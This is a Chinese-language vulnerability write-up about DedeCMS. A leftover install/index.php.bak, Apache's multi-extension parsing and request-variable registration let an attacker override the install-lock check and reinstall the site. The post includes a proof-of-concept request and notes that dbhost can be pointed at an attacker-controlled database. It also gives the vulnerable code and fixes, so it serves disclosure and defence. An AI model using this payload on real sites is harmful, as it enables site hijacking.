• dedecms /install/index.php.bak Installation File Not Deleted && Executed Via Apache Analytic Vul


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    概括梳理一下这个漏洞的成因

    1. dedecms默认情况下安装完成之后,install安装目录并未删除,即安装脚本依然存在,只是被重命名为了index.php.bak文件
    //Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak 
    2. apache存在一个解析漏洞,即会递归的逐个解析文件的后缀,直到配对到一个可以正确处理的后缀处理函数(ext handler)
    //例如index.php.bak会被当成index.php来解析
    3. dedecms广泛采用了"本地变量注册"的模拟实现,即
    /*
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
    }
    */
    这导致黑客可以通过传入指定关键变量以此改变代码的正常流程逻辑,以此绕过dedecms的"已安装状态检查"逻辑,实现重安装

    Relevant Link:

    http://zhanzhang.anquan.org/vul-detail/51b19a3ff159c80f0ab0b8a1/


    2. 漏洞触发条件

    1. install文件夹存在
    2. apache解析漏洞

    0x1: POC

    http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4
    POST: step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&
    //其中dbhost可以改为远程的黑客控制的db,以此达到劫持的目的


    3. 漏洞影响范围
    4. 漏洞代码分析

    /install/index.php.bak

    ..
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
    }
    
    require_once(DEDEINC.'/common.func.php');
    
    //黑客通过本地变量注入,修改$insLockfile的值,以此绕过dede的检测逻辑
    if(file_exists($insLockfile))
    {
        exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
    }
    ..

    Relevant Link:

    http://www.cnseay.com/2956/


    5. 防御方法

    1. 删除install文件夹
    or
    2. 删除/install/index.php.bak
    3. 允许用户使用重新安装的功能,但对index.php.bak进行修复

    /install/index.php.bak

    if( file_exists(dirname(__FILE__).'/install_lock.txt') )
    {
        exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
    }


    6. 攻防思考

    在代码中的关键if判断处尽量避免使用变量,可以很大程度上防止本地变量覆盖导致的代码流黑黑客注入修改

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    高级数据结构实现——自顶向下伸展树
    优先队列——二项队列(binominal queue)
    优先队列——左式堆
    近似装箱问题(两种脱机算法实现)
    近似装箱问题(三种联机算法实现)
    Instruments
    CALayer之 customizing timing of an animation
    PKCS填充方式
    使用Xcode和Instruments调试解决iOS内存泄露
    apple网址
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4505757.html
Copyright © 2020-2023  润新知